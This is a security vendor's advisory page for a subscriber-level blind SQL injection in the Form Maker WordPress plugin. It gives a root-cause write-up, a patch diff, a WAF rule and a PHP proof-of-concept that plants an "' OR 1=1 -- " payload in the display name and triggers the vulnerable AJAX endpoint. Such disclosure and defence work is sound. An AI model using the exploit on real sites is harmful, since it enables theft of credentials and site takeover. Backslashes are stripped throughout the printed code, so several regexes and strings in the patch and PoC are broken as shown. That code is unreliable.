Opens in a new tab
Published : November 15, 2026

CVE-2026-15993: Form Maker by 10Web <= 1.15.44 Authenticated (Subscriber+) SQL Injection via '{username}' Placeholder in Dynamic-Choice Field WHERE Clause PoC, Patch Analysis & Rule

Plugin form-maker
Severity Medium (CVSS 5.3)
CWE 89
Vulnerable Version 1.15.44
Patched Version 1.15.45
Disclosed August 13, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-15993:
CVE-2026-15993 is a blind SQL injection vulnerability in Form Maker by 10Web versions up to and including 1.15.44. An authenticated attacker with Subscriber-level access or above can inject SQL via the {username} placeholder in a DB-backed dynamic-choice field’s WHERE clause. The CVSS score is 5.3 (Medium), and the weakness is CWE-89. Atomic Edge research confirms the vulnerable code path exists in the frontend form rendering and AJAX reload handler.

Root Cause:
The issue stems from improper neutralization of the {username} placeholder in the dynamic choices WHERE string. In form-maker/frontend/views/form_maker.php (lines around 2448-2464, 2655-2671, 2843-2859), the code builds a WHERE clause by directly substituting custom field placeholders (including {username}) with their values, then passes the resulting string to WDW_FM_Library::select_data_from_db_for_labels or select_data_from_db_for_values. Those methods ultimately call build_safe_dynamic_select_query (form-maker/framework/WDW_FM_Library.php). Before the patch, build_safe_dynamic_select_query attempted to escape quoted literals but did not parameterize bare placeholder values or enforce a strict grammar. The substitution in form_maker.php used str_replace with arrays like array(‘%’.$custom_key.’%’, ‘{‘.$custom_key.’}’) and the raw $custom_val, so a malicious display_name (set via the standard WordPress profile edit screen) containing SQL metacharacters would be inserted directly into the WHERE clause. This allows an attacker to break out of the intended string context and append arbitrary SQL.

Exploitation:
An attacker with Subscriber-level access first sets their WordPress display_name to a SQL payload, for example: ‘ OR 1=1 — . They then trigger the fm_reload_input AJAX endpoint (likely via admin-ajax.php with action=fm_reload_input) on a form that contains a DB-backed dynamic-choice field whose WHERE template references {username}. The plugin replaces {username} with the attacker-controlled display_name and builds a query such as: SELECT … FROM … WHERE username = ” OR 1=1 — ‘. Because the query is executed without proper parameterization, the injected condition alters the query logic, enabling blind SQL injection. The attacker can use boolean-based or time-based techniques to extract sensitive data from the WordPress database, including user credentials, session tokens, and other confidential information.

Patch Analysis:
The patch introduces a new method WDW_FM_Library::prepare_dynamic_where_with_custom_fields (in form-maker/framework/WDW_FM_Library.php) that parses the WHERE template, extracts placeholders and quoted literals, and converts them into %s placeholders with bound values. It enforces a strict grammar (identifier operator %s, combined with AND/OR) and rejects any input containing semicolons, comments, or unbalanced quotes. The updated build_safe_dynamic_select_query now accepts an $extra_binds parameter and, when provided, skips re-extraction and relies on the grammar check. In form_maker.php, the vulnerable str_replace substitution is replaced with calls to prepare_dynamic_where_with_custom_fields, and the resulting WHERE clause and binds are passed to the data retrieval functions. This ensures that user-controlled values are always bound as parameters, preventing SQL injection. The patch also adds a PayPal response validation check in Checkpaypal.php, which is unrelated to this CVE but included in the same release.

Impact:
Successful exploitation allows an authenticated attacker with minimal privileges (Subscriber) to execute arbitrary SQL queries against the WordPress database. This can lead to the extraction of sensitive information such as user credentials (password hashes), email addresses, session tokens, and any other data stored in the database. In severe cases, the attacker could modify or delete data, potentially leading to privilege escalation (e.g., creating a new administrator account) or full site compromise. The blind nature of the injection may slow data extraction, but tools like sqlmap can automate the process.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/form-maker/admin/controllers/Checkpaypal.php
+++ b/form-maker/admin/controllers/Checkpaypal.php
@@ -52,6 +52,9 @@
     $post_fields .= 'cmd=_notify-validate';
     $paypal_params = array( 'checkout_mode' => $form->checkout_mode, 'post_fields' => $post_fields );
     $response = $this->model->connect_to_paypal($paypal_params);
+    if ( strcmp( trim( (string) $response ), 'VERIFIED' ) !== 0 ) {
+      return 0;
+    }
     $tax = WDW_FM_Library(self::PLUGIN)->get('tax', 0);
     $total = WDW_FM_Library(self::PLUGIN)->get('mc_gross', 0);
     $shipping = WDW_FM_Library(self::PLUGIN)->get('mc_shipping', 0);
--- a/form-maker/form-maker.php
+++ b/form-maker/form-maker.php
@@ -3,7 +3,7 @@
  * Plugin Name: Form Maker
  * Plugin URI: https://10web.io/plugins/wordpress-form-maker/?utm_source=form_maker&utm_medium=free_plugin
  * Description: This plugin is a modern and advanced tool for easy and fast creating of a WordPress Form. The backend interface is intuitive and user friendly which allows users far from scripting and programming to create WordPress Forms.
- * Version: 1.15.44
+ * Version: 1.15.45
  * Author: 10Web Form Builder Team
  * Author URI: https://10web.io/plugins/?utm_source=form_maker&utm_medium=free_plugin
  * License: GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
@@ -26,8 +26,8 @@
   public $plugin_url = '';
   public $front_urls = array();
   public $main_file = '';
-  public $plugin_version = '1.15.44';
-  public $db_version = '2.15.44';
+  public $plugin_version = '1.15.45';
+  public $db_version = '2.15.45';
   public $menu_postfix = '_fm';
   public $plugin_postfix = '';
   public $handle_prefix = 'fm';
--- a/form-maker/framework/WDW_FM_Library.php
+++ b/form-maker/framework/WDW_FM_Library.php
@@ -6158,6 +6158,131 @@
   }

   /**
+   * Prepare a Dynamic Choices WHERE template by binding custom field placeholders.
+   *
+   * @param string     $where_template Raw template (may include [ ], WHERE, {username}, %username%).
+   * @param array|null $custom_fields  Optional map; defaults to get_custom_fields().
+   * @return array{ where: string, binds: array<int, string>, valid: bool }
+   */
+  public static function prepare_dynamic_where_with_custom_fields( $where_template, $custom_fields = null ) {
+    if ( $custom_fields === null ) {
+      $custom_fields = self::get_custom_fields();
+    }
+    if ( ! is_array( $custom_fields ) ) {
+      $custom_fields = array();
+    }
+    $decoded = trim( html_entity_decode( (string) $where_template, ENT_QUOTES ) );
+    $decoded = str_replace( array( '[', ']' ), '', $decoded );
+    $decoded = trim( $decoded );
+    if ( preg_match( '/^wheres+/i', $decoded ) ) {
+      $decoded = trim( preg_replace( '/^wheres+/i', '', $decoded ) );
+    }
+    if ( $decoded === '' ) {
+      return array( 'where' => '', 'binds' => array(), 'valid' => true );
+    }
+    if ( preg_match( '/(;|--|#|/*)/', $decoded ) ) {
+      return array( 'where' => '', 'binds' => array(), 'valid' => false );
+    }
+    return self::bind_dynamic_where_clause( $decoded, $custom_fields );
+  }
+
+  /**
+   * Single left-to-right pass: placeholders + quoted literals -> %s binds, then grammar check.
+   *
+   * @param string $where
+   * @param array  $custom_fields
+   * @return array{ where: string, binds: array<int, string>, valid: bool }
+   */
+  private static function bind_dynamic_where_clause( $where, $custom_fields ) {
+    $keys = array_keys( $custom_fields );
+    usort( $keys, function ( $a, $b ) {
+      return strlen( $b ) - strlen( $a );
+    } );
+    $key_alt = array();
+    foreach ( $keys as $k ) {
+      $key_alt[] = preg_quote( $k, '/' );
+    }
+    $keys_re = $key_alt ? implode( '|', $key_alt ) : '(?!)';
+
+    $binds = array();
+    $out = '';
+    $i = 0;
+    $len = strlen( $where );
+    while ( $i < $len ) {
+      $rest = substr( $where, $i );
+
+      // Quoted wildcard placeholder: '%{key}%' or "%{key}%"
+      if ( preg_match( '/^(['"])%{(' . $keys_re . ')}%1/', $rest, $m ) ) {
+        $binds[] = '%' . (string) $custom_fields[ $m[2] ] . '%';
+        $out .= '%s';
+        $i += strlen( $m[0] );
+        continue;
+      }
+
+      // Quoted placeholder: '{key}' or "{key}" or '%key%' or "%key%"
+      if ( preg_match( '/^(['"]){(' . $keys_re . ')}1/', $rest, $m )
+        || preg_match( '/^(['"])%(' . $keys_re . ')%1/', $rest, $m ) ) {
+        $binds[] = (string) $custom_fields[ $m[2] ];
+        $out .= '%s';
+        $i += strlen( $m[0] );
+        continue;
+      }
+
+      // Bare placeholder: {key} or %key%
+      if ( preg_match( '/^{(' . $keys_re . ')}/', $rest, $m )
+        || preg_match( '/^%(' . $keys_re . ')%/', $rest, $m ) ) {
+        $binds[] = (string) $custom_fields[ $m[1] ];
+        $out .= '%s';
+        $i += strlen( $m[0] );
+        continue;
+      }
+
+      // Quoted literal '...'
+      if ( $rest[0] === "'" ) {
+        if ( ! preg_match( "/^'((?:\\'|[^'])*)'/", $rest, $m ) ) {
+          return array( 'where' => '', 'binds' => array(), 'valid' => false );
+        }
+        $literal = str_replace( "\'", "'", $m[1] );
+        if ( $literal === '' ) {
+          return array( 'where' => '', 'binds' => array(), 'valid' => false );
+        }
+        $binds[] = $literal;
+        $out .= '%s';
+        $i += strlen( $m[0] );
+        continue;
+      }
+
+      $out .= $rest[0];
+      $i++;
+    }
+
+    if ( strpos( $out, "'" ) !== false ) {
+      return array( 'where' => '', 'binds' => array(), 'valid' => false );
+    }
+
+    $out_trim = trim( $out );
+    if ( $out_trim === '' ) {
+      return array( 'where' => '', 'binds' => $binds, 'valid' => true );
+    }
+
+    // Grammar: ident op %s ( (AND|OR) ident op %s )*
+    $ident = '`?[A-Za-z_][A-Za-z0-9_]*`?';
+    $op = '(?:=|<>|!=|<=|>=|<|>|LIKE)';
+    $cond = $ident . 's*' . $op . 's*%s';
+    $grammar = '/^' . $cond . '(?:s+(?:AND|OR)s+' . $cond . ')*$/i';
+    if ( ! preg_match( $grammar, $out_trim ) ) {
+      return array( 'where' => '', 'binds' => array(), 'valid' => false );
+    }
+
+    $placeholder_count = substr_count( $out_trim, '%s' );
+    if ( $placeholder_count !== count( $binds ) ) {
+      return array( 'where' => '', 'binds' => array(), 'valid' => false );
+    }
+
+    return array( 'where' => $out_trim, 'binds' => $binds, 'valid' => true );
+  }
+
+  /**
    * Update file read option.
    * @param int $val
    */
@@ -6532,9 +6657,9 @@
    * @param string $order_by
    * @return mixed
    */
-  public static function select_data_from_db_for_labels( $db_info = '', $label_column = '', $table = '', $where = '', $order_by = '' ) {
+  public static function select_data_from_db_for_labels( $db_info = '', $label_column = '', $table = '', $where = '', $order_by = '', $extra_binds = array() ) {
     global $wpdb;
-    $query_data = self::build_safe_dynamic_select_query( $label_column, $table, $where, $order_by );
+    $query_data = self::build_safe_dynamic_select_query( $label_column, $table, $where, $order_by, $extra_binds );
     if ( empty( $query_data['query'] ) ) {
       return array();
     }
@@ -6575,9 +6700,9 @@
    *
    * @return array|null|object
    */
-  public static function select_data_from_db_for_values( $db_info = '', $value_column = '', $table = '', $where = '', $order_by = '' ) {
+  public static function select_data_from_db_for_values( $db_info = '', $value_column = '', $table = '', $where = '', $order_by = '', $extra_binds = array() ) {
     global $wpdb;
-    $query_data = self::build_safe_dynamic_select_query( $value_column, $table, $where, $order_by );
+    $query_data = self::build_safe_dynamic_select_query( $value_column, $table, $where, $order_by, $extra_binds );
     if ( empty( $query_data['query'] ) ) {
       return array();
     }
@@ -6617,24 +6742,25 @@
    *
    * @return array
    */
-  private static function build_safe_dynamic_select_query( $column = '', $table = '', $where = '', $order_by = '' ) {
+  private static function build_safe_dynamic_select_query( $column = '', $table = '', $where = '', $order_by = '', $extra_binds = array() ) {
     $column = trim( (string) $column );
     $table = trim( (string) $table );
     $order_by = trim( html_entity_decode( (string) $order_by, ENT_QUOTES ) );
+    $extra_binds = is_array( $extra_binds ) ? array_values( $extra_binds ) : array();

-    if ( !preg_match( '/^[A-Za-z0-9_]+$/', $column ) ) {
+    if ( ! preg_match( '/^[A-Za-z0-9_]+$/', $column ) ) {
       return array( 'query' => '', 'binds' => array() );
     }
-    if ( !preg_match( '/^[A-Za-z0-9_]+(.[A-Za-z0-9_]+)?$/', $table ) ) {
+    if ( ! preg_match( '/^[A-Za-z0-9_]+(.[A-Za-z0-9_]+)?$/', $table ) ) {
       return array( 'query' => '', 'binds' => array() );
     }

     $order_parts = array_filter( array_map( 'trim', explode( ',', $order_by ) ) );
     $safe_order_clause = '';
-    if ( !empty( $order_parts ) ) {
+    if ( ! empty( $order_parts ) ) {
       $safe_order_parts = array();
       foreach ( $order_parts as $part ) {
-        if ( !preg_match( '/^([A-Za-z0-9_]+)(?:s+(ASC|DESC))?$/i', $part, $matches ) ) {
+        if ( ! preg_match( '/^([A-Za-z0-9_]+)(?:s+(ASC|DESC))?$/i', $part, $matches ) ) {
           return array( 'query' => '', 'binds' => array() );
         }
         $safe_order_parts[] = '`' . $matches[1] . '` ' . ( isset( $matches[2] ) ? strtoupper( $matches[2] ) : 'ASC' );
@@ -6643,29 +6769,38 @@
     }

     $safe_table = ( strpos( $table, '.' ) === false ) ? '`' . $table . '`' : '`' . str_replace( '.', '`.`', $table ) . '`';
+
     $decoded_where = trim( html_entity_decode( (string) $where, ENT_QUOTES ) );
     if ( preg_match( '/^wheres+/i', $decoded_where ) ) {
       $decoded_where = trim( preg_replace( '/^wheres+/i', '', $decoded_where ) );
     }
-    if ( preg_match( '/(;|--|#|/*)/', $decoded_where ) ) {
-      return array( 'query' => '', 'binds' => array() );
-    }

     $binds = array();
     $where_prepared = '';
     if ( $decoded_where !== '' ) {
-      $where_prepared = preg_replace_callback(
-        "/'((?:\\'|[^'])*)'/",
-        function ( $matches ) use ( &$binds ) {
-          $binds[] = str_replace( "\'", "'", $matches[1] );
-          return '%s';
-        },
-        $decoded_where
-      );
-      if ( $where_prepared === null || !preg_match( '/^[A-Za-z0-9_`.s%<>=!(),-]+$/', $where_prepared ) ) {
-        return array( 'query' => '', 'binds' => array() );
+      if ( ! empty( $extra_binds ) ) {
+        // Caller already bound placeholders; re-validate grammar only (no quote re-extraction).
+        $ident = '`?[A-Za-z_][A-Za-z0-9_]*`?';
+        $op = '(?:=|<>|!=|<=|>=|<|>|LIKE)';
+        $cond = $ident . 's*' . $op . 's*%s';
+        $grammar = '/^' . $cond . '(?:s+(?:AND|OR)s+' . $cond . ')*$/i';
+        if ( preg_match( '/(;|--|#|/*|')/', $decoded_where )
+          || ! preg_match( $grammar, $decoded_where )
+          || substr_count( $decoded_where, '%s' ) !== count( $extra_binds ) ) {
+          return array( 'query' => '', 'binds' => array() );
+        }
+        $binds = $extra_binds;
+        $where_prepared = ' WHERE ' . $decoded_where;
+      } else {
+        $bound = self::bind_dynamic_where_clause( $decoded_where, array() );
+        if ( empty( $bound['valid'] ) ) {
+          return array( 'query' => '', 'binds' => array() );
+        }
+        if ( $bound['where'] !== '' ) {
+          $binds = $bound['binds'];
+          $where_prepared = ' WHERE ' . $bound['where'];
+        }
       }
-      $where_prepared = ' WHERE ' . $where_prepared;
     }

     return array(
--- a/form-maker/frontend/views/form_maker.php
+++ b/form-maker/frontend/views/form_maker.php
@@ -2448,15 +2448,11 @@
       $key1 = $key + $total_queries;
       if ( isset($param['w_choices_params']) && $param['w_choices_params'][$key] ) {
         $w_choices_params = explode('[where_order_by]', $param['w_choices_params'][$key]);
-        $where_str = $w_choices_params[0];
-        foreach ( $custom_fields as $custom_key => $custom_val ) {
-          $key_replace = array( '%' . $custom_key . '%', '{' . $custom_key . '}' );
-          $where_str = str_replace($key_replace, $custom_val, $where_str);
-        }
-        $where = (str_replace(array( '[', ']' ), '', $w_choices_params[0]) ? ' WHERE ' . str_replace(array(
-                                                                                                       '[',
-                                                                                                       ']',
-                                                                                                     ), '', $where_str) : '');
+        $where_prepared = WDW_FM_Library::prepare_dynamic_where_with_custom_fields( $w_choices_params[0], $custom_fields );
+        $where_binds = ! empty( $where_prepared['valid'] ) ? $where_prepared['binds'] : array();
+        $where = ( ! empty( $where_prepared['valid'] ) && $where_prepared['where'] !== '' )
+          ? ' WHERE ' . $where_prepared['where']
+          : '';
         $w_choices_params = explode('[db_info]', $w_choices_params[1]);
         $order_by = str_replace(array( '[', ']' ), '', $w_choices_params[0]);
         $db_info = $w_choices_params[1];
@@ -2464,12 +2460,20 @@
         $table = $label_table_and_column[0];
         $label_column = $label_table_and_column[1];
         if ( $select_data_from_db && $label_column ) {
-          $choices_labels = WDW_FM_Library::select_data_from_db_for_labels($db_info, $label_column, $table, $where, $order_by);
+          if ( ! empty( $where_prepared['valid'] ) ) {
+            $choices_labels = WDW_FM_Library::select_data_from_db_for_labels($db_info, $label_column, $table, $where, $order_by, $where_binds);
+          } else {
+            $choices_labels = array();
+          }
         }
         $value_table_and_column = explode(':', str_replace(array( '[', ']' ), '', $param['w_choices_value'][$key]));
         $value_column = $value_table_and_column[1];
         if ( $select_data_from_db && $value_column ) {
-          $choices_values = WDW_FM_Library::select_data_from_db_for_values($db_info, $value_column, $table, $where, $order_by);
+          if ( ! empty( $where_prepared['valid'] ) ) {
+            $choices_values = WDW_FM_Library::select_data_from_db_for_values($db_info, $value_column, $table, $where, $order_by, $where_binds);
+          } else {
+            $choices_values = array();
+          }
         }
         $columns_count_checkbox = count($choices_labels) > 0 ? count($choices_labels) : count($choices_values);
         if ( array_filter($choices_labels) || array_filter($choices_values) ) {
@@ -2655,15 +2659,11 @@
       $key1 = $key + $total_queries;
       if ( isset($param['w_choices_params']) && $param['w_choices_params'][$key] ) {
         $w_choices_params = explode('[where_order_by]', $param['w_choices_params'][$key]);
-        $where_str = $w_choices_params[0];
-        foreach ( $custom_fields as $custom_key => $custom_val ) {
-          $key_replace = array( '%' . $custom_key . '%', '{' . $custom_key . '}' );
-          $where_str = str_replace($key_replace, $custom_val, $where_str);
-        }
-        $where = (str_replace(array( '[', ']' ), '', $w_choices_params[0]) ? ' WHERE ' . str_replace(array(
-                                                                                                       '[',
-                                                                                                       ']',
-                                                                                                     ), '', $where_str) : '');
+        $where_prepared = WDW_FM_Library::prepare_dynamic_where_with_custom_fields( $w_choices_params[0], $custom_fields );
+        $where_binds = ! empty( $where_prepared['valid'] ) ? $where_prepared['binds'] : array();
+        $where = ( ! empty( $where_prepared['valid'] ) && $where_prepared['where'] !== '' )
+          ? ' WHERE ' . $where_prepared['where']
+          : '';
         $w_choices_params = explode('[db_info]', $w_choices_params[1]);
         $order_by = str_replace(array( '[', ']' ), '', $w_choices_params[0]);
         $db_info = $w_choices_params[1];
@@ -2671,12 +2671,20 @@
         $table = $label_table_and_column[0];
         $label_column = $label_table_and_column[1];
         if ( $select_data_from_db && $label_column ) {
-          $choices_labels = WDW_FM_Library::select_data_from_db_for_labels($db_info, $label_column, $table, $where, $order_by);
+          if ( ! empty( $where_prepared['valid'] ) ) {
+            $choices_labels = WDW_FM_Library::select_data_from_db_for_labels($db_info, $label_column, $table, $where, $order_by, $where_binds);
+          } else {
+            $choices_labels = array();
+          }
         }
         $value_table_and_column = explode(':', str_replace(array( '[', ']' ), '', $param['w_choices_value'][$key]));
         $value_column = $value_table_and_column[1];
         if ( $select_data_from_db && $value_column ) {
-          $choices_values = WDW_FM_Library::select_data_from_db_for_values($db_info, $value_column, $table, $where, $order_by);
+          if ( ! empty( $where_prepared['valid'] ) ) {
+            $choices_values = WDW_FM_Library::select_data_from_db_for_values($db_info, $value_column, $table, $where, $order_by, $where_binds);
+          } else {
+            $choices_values = array();
+          }
         }
         $columns_count_radio = count($choices_labels) > 0 ? count($choices_labels) : count($choices_values);
         if ( array_filter($choices_labels) || array_filter($choices_values) ) {
@@ -2843,12 +2851,11 @@
     foreach ( $param['w_choices'] as $key => $choice ) {
       if ( isset($param['w_choices_params']) && $param['w_choices_params'][$key] ) {
         $w_choices_params = explode('[where_order_by]', $param['w_choices_params'][$key]);
-        $where_str = $w_choices_params[0];
-        foreach ( $custom_fields as $custom_key => $custom_val ) {
-          $key_replace = array( '%' . $custom_key . '%', '{' . $custom_key . '}' );
-          $where_str = str_replace( $key_replace, $custom_val, $where_str );
-        }
-        $where = (str_replace(array( '[', ']' ), '', $w_choices_params[0]) ? ' WHERE ' . str_replace(array('[', ']'), '', $where_str) : '');
+        $where_prepared = WDW_FM_Library::prepare_dynamic_where_with_custom_fields( $w_choices_params[0], $custom_fields );
+        $where_binds = ! empty( $where_prepared['valid'] ) ? $where_prepared['binds'] : array();
+        $where = ( ! empty( $where_prepared['valid'] ) && $where_prepared['where'] !== '' )
+          ? ' WHERE ' . $where_prepared['where']
+          : '';
         $w_choices_params = explode('[db_info]', $w_choices_params[1]);
         $order_by = str_replace(array( '[', ']' ), '', $w_choices_params[0]);
         $db_info = $w_choices_params[1];
@@ -2856,12 +2863,20 @@
         $table = $label_table_and_column[0];
         $label_column = $label_table_and_column[1];
         if ( $select_data_from_db && $label_column ) {
-          $choices_labels = WDW_FM_Library::select_data_from_db_for_labels($db_info, $label_column, $table, $where, $order_by);
+          if ( ! empty( $where_prepared['valid'] ) ) {
+            $choices_labels = WDW_FM_Library::select_data_from_db_for_labels($db_info, $label_column, $table, $where, $order_by, $where_binds);
+          } else {
+            $choices_labels = array();
+          }
         }
         $value_table_and_column = explode(':', str_replace(array('[', ']'), '', $param['w_choices_value'][$key]));
         $value_column = $param['w_choices_disabled'][$key] == "true" ? '' : $value_table_and_column[1];
         if ( $select_data_from_db && $value_column ) {
-          $choices_values = WDW_FM_Library::select_data_from_db_for_values($db_info, $value_column, $table, $where, $order_by);
+          if ( ! empty( $where_prepared['valid'] ) ) {
+            $choices_values = WDW_FM_Library::select_data_from_db_for_values($db_info, $value_column, $table, $where, $order_by, $where_binds);
+          } else {
+            $choices_values = array();
+          }
         }
         $columns_count = count($choices_labels) > 0 ? count($choices_labels) : count($choices_values);
         if ( array_filter($choices_labels) || array_filter($choices_values) ) {

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-15993
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202615993,phase:2,deny,status:403,chain,msg:'CVE-2026-15993 via Form Maker AJAX',severity:'CRITICAL',tag:'CVE-2026-15993'"
  SecRule ARGS_POST:action "@streq fm_reload_input" "chain"
    SecRule ARGS_POST:display_name|ARGS_POST:username|ARGS_POST:user_login "@detectSQLi" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-15993 - Form Maker by 10Web <= 1.15.44 - Authenticated (Subscriber+) SQL Injection via '{username}' Placeholder in Dynamic-Choice Field WHERE Clause

$target_url = 'http://example.com'; // Change to your WordPress site URL
$username = 'subscriber'; // WordPress username with Subscriber role
$password = 'password'; // WordPress password

// Step 1: Log in to WordPress
$cookie_jar = tempnam('/tmp', 'cookies');
$login_url = $target_url . '/wp-login.php';
$post_fields = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, 'Dashboard') === false) {
    die("Login failed.n");
}
echo "Logged in successfully.n";

// Step 2: Update display_name to SQL payload
$profile_url = $target_url . '/wp-admin/profile.php';
$payload = "' OR 1=1 -- "; // Blind SQLi payload
$post_fields = http_build_query([
    'action' => 'update',
    'user_id' => '2', // Assuming subscriber user ID is 2; adjust as needed
    'display_name' => $payload,
    'email' => 'subscriber@example.com',
    'nickname' => $username,
    'first_name' => '',
    'last_name' => '',
    'description' => '',
    'submit' => 'Update Profile'
]);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $profile_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

echo "Display name updated to payload.n";

// Step 3: Trigger fm_reload_input AJAX endpoint
// You need to know a form ID that has a dynamic-choice field with {username} in WHERE clause.
// Replace 1 with the actual form ID.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_fields = http_build_query([
    'action' => 'fm_reload_input',
    'form_id' => '1',
    'field_id' => '1', // dynamic choice field ID
    // additional parameters may be required depending on form configuration
]);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "AJAX request sent. Check for SQL errors or time delays.n";

// Clean up
unlink($cookie_jar);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.